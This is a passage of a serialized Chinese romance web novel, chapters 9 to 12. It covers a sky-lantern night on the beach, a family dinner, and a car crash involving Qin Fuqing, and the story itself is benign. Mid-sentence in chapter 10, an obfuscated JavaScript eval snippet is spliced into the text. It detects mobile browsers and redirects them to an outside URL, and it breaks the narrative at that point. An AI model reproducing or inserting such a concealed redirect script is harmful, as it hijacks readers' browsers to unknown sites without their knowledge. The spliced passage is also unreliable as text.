她不仅没抢到谈勉的手机,还错过了拍照的最佳时期,气得这一路都在骂。 “他一点儿也没安慰你呀?” 钟缊酌挺奇怪,虽说谈勉不着调,但不应该如此绝情。 宋黎若咬牙切齿道:“他说今晚如果放孔明灯打赌我赢了,就把照片删掉,明天再陪我起早去拍日出,但是输了,就要自认倒霉。缊酌,我到时候若是想杀人,你别拦着我。” 钟缊酌摸了摸脖子,脑袋里想象着这俩人如果撕打起来,那场面会是什么样子? 手机里蹦出了提示音,钟缊酌打开看了眼,是有人给她的朋友圈点赞了。 她刚刚把那张完美的日出照po了出去,没想到有人手速这么快。 显示一共三个人,舍友楚书雅,白琪,还有涂敬舟。 下面附着涂敬舟的留言:【真漂亮,玩的愉快啊。】 钟缊酌想起来,出发的前一天,她还想着要不要叫上涂敬舟一起,可后知后觉意识到这局是秦拂清组的,他不可能会来。 甚至得知秦拂清要来大院住那会儿,涂敬舟嚷嚷着说自己打算搬出去住一段时间了,她和宋黎若两人劝说了半天,他才打消了这个念头。 钟缊酌拇指反复在屏幕上蹭来蹭去,不知道打什么,最后无奈只回复了个笑脸。 “晚上放孔明灯我要穿这条裙子,正式一点,希望老天爷开眼。” 宋黎若从柜子里掏出一件黑色连衣裙,方形领口,配上俏皮的荷叶袖子,很复古的赫本风格。 她扭过头问,“缊酌,你穿哪件?” 钟缊酌翻了翻,最后选了一套蓝色阔腿长裤加黄色针织衫。 宋黎若面露诧色,“呀,怎么穿这么厚的。” “嗯,夜里降温,我怕凉。” “那行吧,随你了。” 夜幕降临,整个海平面仿佛披上了一层深蓝色幕布,静谧幽深,视线所及的天边也隐藏在了一片黑色之下。 钟缊酌的担忧没有错,即便已经穿得很厚实了,冷风吹过脖颈,她还是忍不住打了个哆嗦。 宋黎若就更惨了,手都冻得快抽筋,张桢嘲笑她说,什么叫要风度没有温度,这回可算见识到一次。 还是谈勉从车上拿了个外套过来,给她披上,“别没等打赌开始就倒下了啊,我还想看你输得心服口服呢。” 温热感瞬间笼罩下来,宋黎若双臂交错,指尖拽紧衣服边缘。 到底是拿人手短,她气势稍减了些,“指不定谁输呢,咱说好,我要是赢了这衣服也得归我。” 谈勉挺痛快地答应:“行啊,宋大小姐。” 放孔明灯的人已经排起了队,钟缊酌陪宋黎若在一旁耐心等着。 不大一会儿,她听到有人喊了声:“快看,秦总也来了啊。” 钟缊酌循声望去,看到一辆黑色的宾利车停在了沙滩外环的街边。 因为车牌号很醒目,她有印象,这辆车曾经也在学校里见过。 大概是纳闷秦拂清也会来放这种东西,一些人开始议论纷纷:“秦总难不成事业不顺了?” “别瞎说,他仕途正好呢,我听说不久就要升职了。” “不可能吧,又升职?他才不到三十,这也不怕被人传闲话.....” “我也是听说,或许是有人故意放的假消息.....” 这时候有懂的人站出来说:“都闭上嘴吧,他八成是来陪傅沅宗的。” 这一下子大家都噤了声。 傅沅宗母亲的事儿这一圈人多多少少听说一些,也立即明白了什么意思。 再议论下去,就是对长辈的不敬了。 他们知晓,可宋黎若完全蒙在鼓里。她大着胆子问:“傅沅宗母亲怎么了?” 张桢给她比了个手势,示意她小点声,然后贴着耳朵把前因后果给她讲了一遍。 这一幕让在对面等候的谈勉看得直皱眉头。 他忽然喊了一声:“宋黎若!快到你了。” 宋黎若被吓一跳,眼见前面那人还没结束,莫名其妙道:“你急什么,等人家放完啊。” 又过了两分钟,老板大概是看出这一行人气质不俗,等招待完上一个客人,立即殷勤地给宋黎若选了一盏图案最华丽的灯笼。 宋黎若却摇摇头,往里面一指,“我要那个兔子的。” “好嘞,这就拿兔子的。” 老板点灯的功夫,谈勉也凑过来看,宋黎若已经紧张得不行了,他还在开玩笑说:“人家是嫦娥奔月,怎么到你这儿变成兔子奔月了?” 宋黎若撇嘴,“兔子怎么啦,兔子也有梦想啊。” 一盏带着雪白小兔的孔明灯被点亮,老板正要递给宋黎若,不料被谈勉抢先接了过去。 “我帮你看看这蜡烛摆得正不正。” 宋黎若以为他要捣乱,急得直跺脚,“你小心点拿,别给我弄坏了!” 孔明灯能否被成功放飞可谓七分技术三分运气,宋黎若一直觉得自己运气不好,这次她在放飞前,默默念了好几个神仙的名字。 终于,在她虔诚祈祷完之后,猛地一松手,同时闭上了眼睛。 “若若,快抬头看!”钟缊酌兴奋地拉住了她的胳膊,“你成功了!” 浩瀚云海之下,那盏孔明灯犹如一团红色的烈焰,飘飘荡荡地驶向天空。 “我赢啦!”宋黎若一把抱住钟缊酌,蹦蹦跳跳地大喊,然后两手叉起腰,特傲气地伸手跟谈勉要手机。 不远处,正坐在宾利车里休息的两人,从头到尾目睹了这一幕。 秦拂清手肘撑在车窗边缘,挺无趣似地评价,“这谈勉哄姑娘的手段,还真是拙劣。” 傅沅宗:“怎么讲?” 他视线飘向远方,淡定地解释起来:“刚刚拿那一下子,是确认灯内温度是否均匀,看样子提前做了不少功课。费这么半天劲就为让人家打赌赢一场,你说蠢不蠢?” 傅沅宗笑了笑,不置可否:“起码宋小姐挺开心的,不是吗?情场不比职场,换了你,手段也不见得多高明。” 见这会儿排队的人已经很少,傅沅宗说:“差不多了,我们过去吧。” 两人沿着沙滩的边缘往里走,到了放灯的位置,宋黎若似乎发现谈勉手机里藏了什么秘密,在跟他笑闹,只剩下钟缊酌一人悠然望着天空。 看到两人过来,她礼貌性地打了声招呼:“秦总,傅总。” 秦拂清说:“叫什么傅总,他又不是你老板。” 其实钟缊酌只是习惯一起称呼,哪里想到那么多。 被他这么一说,倒有些不自在了。 傅沅宗无语地翻了个白眼,“一个称呼而已,你还争上了,以后让缊酌只喊你好吧。” 本是一番挺普通吐槽的话,不知为何,从傅沅宗嘴里说出来总觉着味道不对,拐着弯一路直奔高速公路去了。 钟缊酌红了红脸,吱唔半天也不知道到底该用哪个称呼。 “不会说话就闭上嘴,放你的灯去。”秦拂清一点儿也没打算给好友留面子,瞪着眼就把他往那边赶。 末了还铁面无情地提醒旁边姑娘一句,“以后见着他就直接喊名字。” 听出来这俩人在拌嘴,钟缊酌没太敢应声,只很小声地说了句“行”。 夜深之际,海边的温度也越来越低,钟缊酌双手插半天口袋也没觉得暖和,又拿出来搓了搓。 秦拂清低眉看了眼,突然问:“大晚上的跑来冻这么久,就为了陪朋友?自己怎么不放一个。” 钟缊酌心说,你不也是陪朋友来的么? 但转念一想,人家在车里待半天,一点儿没冻着,跟自己还是不一样的。 “嗯,我不太信这个。” 一说完钟缊酌就开始后悔了,自己这什么脑子,傅沅宗还在旁观放灯呢,她说这话岂不是打他的脸? 她又开始找补,“我的意思是,那么多人许愿,老天爷肯定很忙,我就不掺合了。” 这边距离路灯有点远,天黑黑的,也看不太清秦拂清脸上的表情,但她听到他好像笑了下。 “老天爷也没你想象得那么劳碌,既然来了,不如顺便放一个。” 钟缊酌赶紧顺着台阶下,“嗯,您说的有道理。” 她想起自己没经验,就怕会丢人,补了句,“但我第一次放,估计飞不起来。” 钟缊酌跑过去选灯,这时候傅沅宗刚结束,他拍了拍秦拂清的肩膀,示意可以往回走。 结果他却说:“你先回车上等我。” 傅沅宗:“你做什么?” 秦拂清点点下巴,“做点儿助人为乐的事。” 他没明说,傅沅宗也大致明白了什么意思。 好不容易逮着个空闲,让他来陪自己,结果他倒好,转头陪人小姑娘去了。 傅沅宗无声地跟他摆了摆手,那架势像是在说,你就继续装吧。 专心看灯的钟缊酌自然没注意这俩人的互动,等她挑完,只剩下秦拂清一人站在原地。 她两手拽着灯笼底部的钢丝圈,慢腾腾往前挪了几步,动作极为小心。 “看出来你是真的第一次放了。” 秦拂清叮嘱她,“灯体保持垂直,偏了的话很容易掉下来。” 钟缊酌拿余光左右丈量着,大气也不敢出。 她问:“我现在是不是可以松手了呀?” 秦拂清说:“再等等,要等灯内受热均匀。” 秦拂清看她的样子着实滑稽,走上去伸手帮忙扶了一把。 他轻轻扯着孔明灯的另一侧,挺平常的一个动作,却让钟缊酌莫名局促起来。 她想,这样会不会让别人误会什么? 她自己倒是问心无愧,只是旁人不知情的,还以为她跟秦拂清关系多近呢。 大约过了十几秒后,秦拂清提醒一句“可以了”。 正在开小差的钟缊酌立即收回思绪,假装淡定地“嗯”一声。随后,两人同时松开了手。 这盏载着她对未来期盼的孔明灯,就这样燃烧着红色的焰火,摇摇晃晃地飞向了夜空。 这一幕对钟缊酌来说是新鲜的,也是神奇的,自己亲手放和看着别人放,那种感觉果真不一样。 然而沉浸在喜悦中的钟缊酌并不知道,她的担忧还是成真了。 这几分钟的功夫,周围游玩的人群里已经有人开始窃窃私语。 “缊酌和秦总什么时候这么熟了?” “他俩竟然认识吗?我甚至都不知道。” “印象中他们只在聚会那次见过,该不会是......”那人使了个眼色,大家马上会意。 另一人赶紧嘘了声,“可别给人乱传,被秦老爷子知道要地震的。” “哥,你看,姓钟的又勾搭上秦拂清了。” 杜薇气冲冲盯着背对着两人交谈的身影,咬牙切齿地说,“这外来女真有手段,专捡家世好的下手!” 杜洺哂笑一声,“哪儿有那么容易,秦拂清不是傻子,等着瞧吧。” 此刻秦拂清这边,正专心在给旁边的姑娘解释他为什么会懂得这么多知识。 他说:“我小时候啊,姥姥经常教我做一些手工,剪纸,孔明灯......” 说到一半,他敏锐地捕捉到了一些异样的目光,蓦地停了下来。 钟缊酌毫不知情,眨巴着眼睛还在等他继续往下讲。 黑夜中的这份安静显得空气愈发湿润粘稠。 秦拂清默了几秒,看着女孩清泉一样明亮的眸子,忽而话锋一转,问她道:“你和杜家,是有什么恩怨吗?”《 》 10.第十章 钟缊酌被这话问得一愣。 刚刚明明在讲自己小时候的事,怎么突然无缘无故地蹦出这么一句? 莫不是想起昨天吃饭时他们造谣她的话? 钟缊酌手指卷着衣摆,琢磨着,她和杜家确实没什么深仇大恨,只是那两兄妹总阴阳怪气她,不知算不算恩怨。 思来想去,她还是简单回道:“没有,就是脾气不怎么和。” 秦拂清微微点头,也没再接着刚才的话题聊。 他环视一圈,双手抄进口袋里,不疾不徐地和她告别:“好了,我也该走了,你们在外面玩儿时多注意安全。” 钟缊酌“嗯”一声,“您放心。” 临走前,秦拂清又不经意回望了一眼对面的方向。 眼神犀利锋锐,那目光穿过暮色,竟把杜薇吓得浑身一哆嗦。 她不知道他为什么这样看自己。根据杜薇的猜测,或许因为上次的事,是在警告她别乱造他的谣。 杜薇愤愤地推了一下杜洺,“哥,回去了。” “你不去放灯了?” “有什么可放的,无聊死了。” 待秦拂清的身影消失在沙滩后,不远处早已望眼欲穿的宋黎若一个箭步冲了过来。 她呼哧带喘地,拉着钟缊酌的胳膊摇晃:“快说说,你和秦拂清什么情况?” 钟缊酌叹口气,无奈又觉得好笑,抽出胳膊搂住她的肩膀,“你还有心思八卦我,我倒想问问你在谈勉手机里看到了什么?” “啧啧,别想转移话题。”宋黎若一副看透所有,一切尽在掌握之中的模样,“你今天逃不过我的审问,还是早早交代为好。” 钟缊酌噗嗤一下笑了出来:“我能跟他有什么情况啊,人家就是看我没经验,顺手帮个忙而已。” 宋黎若皱眉,“真的?秦拂清有那么闲?” 钟缊酌郑重道:“真的,不骗你,骗你我永远发不了财。” “停停,这也太毒了。”宋黎若颇为遗憾地摊手,“我信了好吧,以后起誓别对自己这么狠行不行。” 两人聊天的功夫,没注意旁边,不知何时张桢也跟着凑了过来。 宋黎若吓了一跳,“你干嘛?” 张桢缩着脖子看了看周围,像是要跟她们说些悄悄话,模样看上去很是滑稽。 他咳嗽了一下,用很小的声音说:“我在那边听到有人讲你跟秦拂清的事......” 他这一句话,钟缊酌便立即明白什么意思。 连宋黎若都曾怀疑过,别人不知道他俩还有上下级这层关系的,更要乱猜了。 钟缊酌打断他道:“没事,随便他们说吧,反正我俩清清白白,过两天他们就忘了。” 张桢欲言又止地,纠结一会儿后,又告诉她:“关键是那个杜薇,说的很难听......” “杜薇也来了?”宋黎若左右张望,没看到想找的人,“她什么时候来的?” “你光顾着在那儿跟谈勉打情骂俏,当然注意不到。” 宋黎若气得踢了一脚张桢,“谁打情骂俏,你是不是活腻了。” 其实不用张桢再往下讲,钟缊酌大致都能猜出来杜薇会怎么说。 她不知道今晚她也会来,心里泛起一丝焦躁。 但这次对象是秦拂清,钟缊酌心想,就算杜薇再怎么胡闹,应该也不敢造他的谣吧? 就在这次度假结束的前一天,钟缊酌收到了母亲发来的消息,说他们要回京待上一周。 钟缊酌立即忘记了那些乱七八糟的事,恨不得长出翅膀,马上飞回家里。 父母一年当中有一大半的时间都在深城,钟缊酌表面没说过什么,但只有她自己知道,她是有多么地想念他们。 当天,陶美珍早早地备好了一桌子的菜,而钟缊酌已经等不及,跑到了大院门口来接人。 看见叶锦从出租车上下来时,钟缊酌鼻子都有些发酸,她跑过去喊了声:“妈。” 叶锦是一个长相端庄而温柔的女人,早些年家里富裕的时候,她的仪态气质不输那些阔太太,而如今四处奔波,早已没了那股心气,连笑起来眼角的细纹也愈发明显。 她摸着闺女的头说:“这么热的天,怎么不在家里等着,还非要跑出来。” “我不热,帮你们拿点儿东西。” 钟缊酌接过钟启明手里的行李箱说:“爸,給我拿一个吧。” 钟启明一挥手:“爸还没老呢,用不着。” “那我帮您背这个包。”钟缊酌不由分说拽了过去,钟启明没办法,只好依了她。 一进家门,菜里飘出的香味儿直沁鼻尖,钟缊酌使劲儿闻了闻:“真香。” “爸,妈,我跟你们说,陶姨的手艺越来越好了,不信你们尝尝。” “诶呦,还是我们缊酌会夸人。”陶美珍弯起了眼。 许是家里太久没这么多人了,这顿饭吃得热闹腾腾地,钟缊酌一会儿站起给人倒水一会儿给那个夹菜的,没一刻闲着的时候。 惹得钟启明拿筷子点她:“好好吃你自己的,女孩子家站没站相坐没坐相,像什么样子。” 钟缊酌做了个鬼脸,这才不情愿地坐回了椅子上。 叶锦对闺女没那么多要求,见状忍不住吐槽起来:“别听你爸的,他一个老古董,女孩子怎么不能好动了,咱想做什么就做什么。” 钟缊酌咧开嘴,在背后偷偷给老妈点了个赞。 晚上,钟启明进了书房,钟缊酌则陪着叶锦在客厅里看电视。 说是看电视,其实没什么节目可看的,也就是放着声音好让屋子里没那么冷清。 叶锦一边听新闻一边给钟缊酌编起了麻花辫。 她的手很巧,钟缊酌小时候,每天上学前都会给她编各种好看的辫子。麻花辫,蝴蝶辫,丸子头,双马尾,古风的现代的,各式各样,同学见了都可羡慕了。 “你看,这么久没编手都生了。” 叶锦轻轻地抚摸着她的头发,将那一缕掉出来的发丝重新扎进里面。 两人唠着家常,叶锦想起她在这院儿里的两个小伙伴,问了句:“敬舟回国了吗?” “嗯,已经回了。” “你和若若你们三个,要记得经常聚聚。” 钟缊酌就笑:“我又不是小孩子了,您操心这个干什么。” 叶锦却叹口气:“你在这边朋友不多,爸妈离得远又照顾不到,这不是担心你过得不好。” “我过得挺好的。” 钟缊酌说的是发自内心的想法。 她现在要求不多,只要能顺利完成学业,等家里的经济状况慢慢好起来,父母回京来住,别的她不强求。 所以钟缊酌也一直没告诉过父母,杜家兄妹针对她这件事。 或许是听到她们的谈话,钟启明从书房走出来插了一嘴:“敬舟这孩子挺好的,你有没有考虑过跟他发展一下?” 闺女从小就知道学习,到现在也没交个男朋友。她自己不上心,当爹的倒是替她操心上了。 钟缊酌几乎秒懂,急着喊:“您胡说什么呢!我跟他就是很好的朋友,不许您玷污我们的友谊!” 看她的样子这么坚决,多半是没戏,钟启明无奈摆手,“好好,不说了。” 钟缊酌心情还没平复下来,又听母亲提议:“不然明天请他俩来家里做客吧,很久没见这俩孩子,怪想念的。” 知道这个时候说什么也没用,钟缊酌没再阻拦,想想反正也就是一顿饭的事儿。 “那行吧,我去问问。” 次日上午,钟缊酌便给两人发了信息过去,问他们晚上有没有空来家里吃饭。 涂敬舟和宋黎若都答应得挺痛快,叶锦便叫陶姨去买一些菜回来。 到了下午四点,一家人正准备着饭菜,涂敬舟突然又打电话过来,说他临时有事,今天恐怕不能按时来赴约。 他在电话里的语气很急,钟缊酌有些担心,问发生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285595|198123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。 涂敬舟应该是要出去,她听到他关门的声音,“我爷爷突然犯了冠心病,正送往医院急救,我得赶紧过去看看。” 钟缊酌立马倒吸一口凉气,“那你赶紧去吧,我跟若若说一声,咱们改天再聚。” 电话挂断,涂敬舟那边火急火燎地去地库开车,出来时还因为轮子打歪蹭破了墙皮。 但他没空再管这些,爷爷从小就是最疼他的,涂敬舟心里像是压了一堵墙,那墙随时有倒塌的风险,他不敢耽搁一秒。 或许是他太过焦虑,精神也不够集中,在路口拐弯时没注意到对面有来车,竟然直接踩着油门打轮左转。 等涂敬舟注意到危险时已经为时已晚。 他猛地踩了一脚刹车,然而无济于事,就这样被一辆直行的黑车顶了出去。 “咚”地一声后,车子擦着地面行驶了十几米才停下来。 安全气囊被弹开,涂敬舟感到一阵眩晕,紧接着眼前视野全部遮住,陷入白茫茫一片。 胸口挨了气囊一下,撞得生疼,涂敬舟闭上眼睛,缓了片刻。 院里的车速不会开太快,他人倒是没什么事,只是如果按照正常程序处理这个车祸,时间肯定要耽搁很久。 待情绪平静后,涂敬舟下了车。 眼见车头已经瘪了一块,他打算先将车子放在路边,和对面协商一下私了,自己再打个车过去。 然而在看清楚对面的车牌后,涂敬舟脑子“嗡”地一下,瞬间傻掉了。 那是秦拂清的车。 涂敬舟站在原地,直愣愣地瞧着面前的车门被打开,男人一脸冷淡地走下来,他的心已经凉了半截。 什么叫屋漏偏逢连夜雨,他今天算是体会到了一次。 涂敬舟咬了咬牙,硬着头皮走过去:“秦总,不好意思没注意到你的车,您看咱能不能私了,我愿意全赔。” 拐弯应礼让直行,这场车祸毫无疑问是他全责,涂敬舟也没打算推卸。 秦拂清没搭理他。 他直接绕过他,弯腰看了看车子被撞裂地程度,神情有些许的不耐烦,随后拨了个电话。 听口吻应该是打给秘书的,男人简单交待了几句,便撂下电话,“在这儿等着,交警会来处理。” 他显然对他的诉求完全视而不见。 其实大家同住一个院,这种小摩擦一般都会私了,再不济叫来警卫帮忙协调,哪里至于去等交警。 可他就像是故意似的,非要一板一眼地让人在这里候着。 涂敬舟使劲儿压了压胸腔里的怒火,解释道:“秦总,对于今天发生的意外我很抱歉,但我爷爷生病去医院抢救,我现在真的没时间等警察过来,您看能否通融一下。” “你爷爷生病了,跟我有什么关系。”秦拂清掀起眼皮看了他一眼,声音里透着凉薄,“我为什么要给你通融?” 此刻的涂敬舟才意识到,能让这个男人发善心简直是痴人说梦。 尤其之前自己对他那样的态度,就不可能放过他。 涂敬舟懊恼地回到车上,准备给姑妈打个电话说明情况。 就在摸上中控扶手的一刹那,他突然想起来一件事。 这辆车是上周去做的保养,昨天刚刚开回来,车上的东西还都放在家里。 别的就算了,但驾驶本行驶证全都没拿下来。 他出来得太急,全然忘记了这回事,如果被警察查到那就更要完蛋。 涂敬舟捏了捏指骨,将准备拨给姑妈的电话换成了另一个人。 电话“嘟嘟”响了两声,被接起,女孩干净的嗓音从话筒传来:“喂,敬舟。” “缊酌,我现在遇到点儿麻烦,你能不能帮我个忙?” “当然可以,你说吧。” 涂敬舟短暂沉默几秒,开口道:“是这样,我在院儿里出了车祸,但行驶本和驾驶证忘拿了。我家里现在没人,我告诉你门禁密码,帮忙送过来一趟可以吗?” 11.第十一章 知道他出了车祸之后,钟缊酌也焦急得不得了。 她几乎是一路小跑着帮他去家里拿证件。 等穿过大院里的林荫主路,来到唯一的十字路口,她一眼望见了站在车旁的涂敬舟。 “敬舟!你看看是不是这个!”钟缊酌立刻走过去,将手里的两个本子递给他。 涂敬舟翻开瞄了一眼,“就是这个,没问题。” 他稍稍松了口气,“谢谢你了,差点儿完蛋。” 钟缊酌看他的样子就知道他这会儿肯定不好受。 唇色发白,眼睛里满是疲惫,像是遭受了严重的精神摧残。 她关切地问:“你要在这里等着处理完事故吗?” “对,没意外的话我全责,也是怪我自己不小心。” 想到他还要急着去医院,钟缊酌纳闷:“看起来不是很严重,你们为什么不协商私了?” 说完之后,她顺势打量了一眼对面的车辆。 那辆极其熟悉的黑色宾利就这样赫然出现在眼前。 撞裂的程度轻很多,但也歪歪斜斜地横在了马路边。 钟缊酌的呼吸瞬间停滞。 这是秦拂清的车。 所以和涂敬舟发生车祸的竟然是他? “我也说了啊,但人家就是不同意有什么办法,今儿算我倒霉。”涂敬舟恹恹地垂下头,用力踢了踢脚旁边的石子。 钟缊酌没见到秦拂清的人,料想他应该还在车上。 如果是院儿里其他熟人,那这件事再简单不过,可偏偏是涂敬舟,他就不可能轻易如他的愿。 “缊酌,你先回去吧,不用陪我,我处理完就直接去医院。”涂敬舟说。 如果今天换作别人的话,钟缊酌大概率会客套两句,然后直接打道回府。 可涂敬舟对她来说是很重要的朋友,她很想能够帮帮他。 钟缊酌视线扫向对面的车,打量几眼后,挺起腰杆对涂敬舟说:“让我试试,我来劝一劝秦拂清。” 涂敬舟睁大眼睛,“你?你能劝得动他?” 钟缊酌坦诚道:“嗯,我在他的古玩馆里做兼职,算是有些交情。试试吧,万一呢?” “可是......” 钟缊酌没给他可是的机会,拍拍他的肩膀,直接转身走了过去。 这几步的路,走得无比缓慢。 钟缊酌在脑子里设想了无数个方案,可真到了秦拂清跟前,又几乎被全部打散。 最后,她只实实在在地敲了敲车窗,等窗子落下来,对里面的男人说:“秦总,敬舟急着去医院看爷爷,您看能不能协商一下,让他先走,反正这场事故他定是负全责。” 此刻的秦拂清正靠坐在后座上,面无表情,一副清清冷冷的样子。 静静听她说完后,秦拂清微眯了眯眼,将手肘撑在窗边,“他让你来的?” 钟缊酌心里一惊,忙解释:“不是,是我自己主动想做这个和事佬......” “你做和事佬,你觉得你是跟他关系挺近,还是跟我关系挺近?” 没想到才一句话就被噎了回去。 钟缊酌神色一慌,眼眸也跟着黯淡下来。 心里不禁开始反思,她是不是有些过于高估自己的能力了。 这件事不是表面一场车祸那么简单,背后掺杂的是两人过去一直以来的矛盾,不是她一个外人能够出面化解的。 她只能抱着最后的期望,试探着劝一句:“......敬舟主要也是担心他爷爷的病情,都说百善孝为先,不然肯定不会跟您较这个劲。” 这一句之后,秦拂清没有立即回复,从口袋里摸出一根烟夹在手里,晃了晃说:“所以你觉得他着急过去能有什么用,他是医生?能救活他爷爷?” 钟缊酌张了张嘴,却不知怎么回答。 从道理上讲,他说的好像也没错,可又觉得哪哪都不对。 “只不过是内心情感在作祟,而我没兴趣迁就他这点儿私人情感。” 秦拂清将烟点燃,侧过头去吸了口,这副架势明显是在赶人。 也就是在这个时候,涂敬舟大概等得心燥,也跟着走了过来。 正好瞧见眼前僵持的场景,以为缊酌被欺负,拉住她的胳膊往后一带。 “您有脾气冲我来就好,别撒在一个姑娘家身上,说出去也不好听。” 秦拂清冷眼看他,透过袅袅升起的白雾,嗤了声:“你有什么资格给我说教?你是她什么人,用得着你在这儿护短?” 这话说得就有点为杠而杠了,涂敬舟终于意识到这人原来比想象得更混。 怕事态升级连累到缊酌,他压下面子说了句好听的:“秦总,前面的话都当我放屁,什么都不说了,我在这儿跟您等警察过来。” 涂敬舟没再看秦拂清的脸色,牵着女孩的胳膊就往回走。 钟缊酌心里也特别难受,一路耷拉着脑袋,丧丧地吐声,“对不起,没帮上你的忙。” “别想太多,回家吧,这本就不是你该操心的事儿。” 的确不是她该操心的,只是钟缊酌这一刻突然意识到,或许她完全误解了秦拂清。这段时间的友好相处,让她生出一种错觉,觉得他是个挺好说话的人。 而如今的现实毫不留情给了她当头一棒,秦拂清刚刚的口吻,可以说一点情面没给她留了。 这顿饭推迟到了三天后的晚上。 饭桌上依旧热闹,叶锦直夸宋黎若又变得漂亮,也称赞涂敬舟留学回来变得更稳重,说半天就是没理自己闺女。 钟缊酌撅起嘴,假装不满:“妈!您是不是忘记还有一位呢。” 叶锦笑说:“我天天夸你还嫌不够啊。” “不够,也得让别人听听。” “行行,我闺女最善解人意了,好了吧。” 聊到后面,钟缊酌想起涂敬舟爷爷那天突发的病情,便忍不住问了一嘴。 “没什么事,当天就已经脱离危险,以前也犯过,只是没想到这次这么急。” 钟缊酌听后松口气,“那真是太好了。” 涂敬舟临走前向她叮嘱:“你在秦拂清那儿做兼职,记得少招惹他,这人不是什么善茬儿。” “我知道的,你就放心吧。” 钟缊酌也在心里暗暗告诫自己,以后和秦总共事一定要小心,千万别在他面前捅娄子。 父母出发飞去深城的第二天,恰好是周六,钟缊酌照例去了古玩馆。 一进门,钟缊酌看到冯伯正蹲在地上,手里还拿着个火腿肠,那样子把她吓一跳。 “冯伯,您这是在做什么呀?” 冯盛冲她比了个“嘘”的手势,抿嘴神秘一笑,然后继续盯着一旁的沙发。 几秒后,只见沙发下面忽然蹿出一只毛茸茸的小动物,全身布满银色的条纹,从背部延伸至四肢,眼睛又大又亮,非常灵活地一跃跳到了椅子上。 钟缊酌惊呼一声:“好漂亮的猫咪啊!” 她转头看向冯伯,“这是您带来的吗?” 冯盛拿火腿逗着那只还有些认生的小家伙,“嗯,刚买回来没多久,想着这里平时太冷清,让它给咱做个伴。” 猫咪这时终于忍不住零食的诱惑,从椅子上又跳了下来,扒拉着火腿就开始啃。 钟缊酌被它的动作萌化了,小心地伸出手,“我能摸摸它吗?” “当然可以,这是虎斑猫,很温顺的。” 钟缊酌一边摸着它的头一边问:“那它叫什么名字呀?” 冯盛缕了缕花白的胡子,有些苦恼地说:“我不太会起名,暂时就叫它小虎了。” 一听到这两个词,猫咪立即抬起头跟着“喵喵”地叫了两声。 “看来它挺喜欢这个名字的,也不错。” 没一会儿,钟缊酌突然想起什么似地,皱了皱眉:“但是这里摆了这么多古董,秦总能同意养它吗?” 冯盛一挥手:“这种事我肯定得先问过他,放心吧,他已经同意了。不过,尽量还是少让小虎来这间古董室,多带去院子里跑跑。” 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冯盛来到展览室,冲还在看书的钟缊酌喊一声:“缊酌,快去泡壶茶,秦先生来了。” “他来了?”钟缊酌显然也很诧异,不自觉瞪大了眼。 但她迅速调整好了情绪,“行,我这就去。” 在迈出门槛的一刹那,冯盛在她身后补充一句:“秦先生看上去心情不大好,你说话谨慎一些。” 钟缊酌脚步顿了顿,“我知道了,谢谢您的提醒。” 会客室钟缊酌并不常来,冯伯比她泡茶的手艺好,也就是偶尔需要她帮忙时才会来一趟。 钟缊酌站在门前,轻轻敲了敲门:“秦总,您的茶好了。” 听到一声“进”后,她端着茶壶和茶杯走到秦拂清身旁。 钟缊酌微微欠身,伸出右手握住壶柄,手腕轻转,左手则托于壶底。 随着茶水准确落入杯中,最后向上一收,整个过程干脆利落,一气呵成。 这是她练了许久的动作。 钟缊酌的手指细长白净,腕骨清晰,做起这些动作确实好看,起码能唬住外人。 秦拂清看着她行云流水一套整完,端起来抿了口。 沉默几秒后,云淡风轻地评价:“泡茶的手艺未长进,花架子倒是学了不少。” 钟缊酌能听出来这般讽刺意味,不知是真这么想,还是因为上次帮涂敬舟的事惹恼了他。 其实钟缊酌心里是有点不服气的。 之前叫她学泡茶,她也愿意,是因为觉得多会一门技能不是坏事,可扪心自问,她来这里也不是为了学这种东西。 冯伯让她说话谨慎一些,钟缊酌想了想说:“泡茶的手艺我会继续向冯伯讨教,如果没别的事,我先出去了。” “等一下。”秦拂清的声音抬高了几分,将茶杯往桌上一撂,“你毕业以后去工作,也打算用这种态度跟老板讲话?” 钟缊酌这才后知后觉自己语气不太好,回过身来小声嘀咕:“我不是故意的。” 她嘴里说着好话,可脸上的表情分明还透着倔强。 秦拂清靠在红木圈椅上,手指敲着椅子把手,幽潭一样的眼睛望过来:“成年人要为自己犯的错误负责,把问题抛给一个和你既没有感情又没有共同利益的人,别人为什么要理解你,为什么要共情你。求人就能解决问题?” 钟缊酌反应了好一会儿,才听懂他这话是在点拨她帮涂敬舟的那件事。 他的意思是,她和他既没有感情又没有共同利益,所以她来帮涂敬舟讲话,帮忙来求人,注定是要失败的。 她深吸一口气,“我明白了秦总,我以后不会再做这么蠢的事了。” 钟缊酌说完这句话,以为秦拂清会称赞她开了窍。再不济,也会觉得她态度上有所进步。 结果他却像没听到似地,话头一转,问了一个莫名其妙的问题。 他说:“涂敬舟是喜欢你吗?” 12.第十二章 涂敬舟喜欢她? 钟缊酌不明白他为什么这么问。 想起父亲也曾冒出撮合两人的念头,所以她俩哪里看起来像情侣了吗? 难道就因为她帮他说了话,他护着她来着,就觉得两人关系不一般? 可是好朋友不就应该这样,男女之间不能存在友谊吗? 钟缊酌摇摇头,这些老古董。 心里这样想,面上可不能表现出来。 钟缊酌诚恳表示:“秦总,您误会了,我们两个就是很好的朋友,不存在男女之情。” 瞧她一本正经解释的样子,心思都放在回答问题上面了,是一点儿没怀疑他问这句话的用意。 秦拂清心中好似憋了一股无名火,却又无处消散,最后只挥了挥手,“知道了,你去忙吧。” 钟缊酌微微俯身告辞,打开门后,却看到冯伯一动不动站在门口,把她吓一跳。 冯盛“哎”一声,“聊完了?” “嗯,聊完了。” “好好,我——”他顿了顿,“我也来找秦先生聊聊。” 钟缊酌挺纳闷,怎么看着冯伯的样子有些心虚似的。 但她管不了那么多,客气两句就回展览室坐班去了。 冯盛径直走到男人对面,自个儿拉了把椅子坐了下来。 秦拂清就是这点好,尽管在外架子大,脾气冲,但对待熟人还是很温和的。尤其面对长辈,应有的尊重照顾都会给到。 因此只要他没犯错误,就不会怵他。 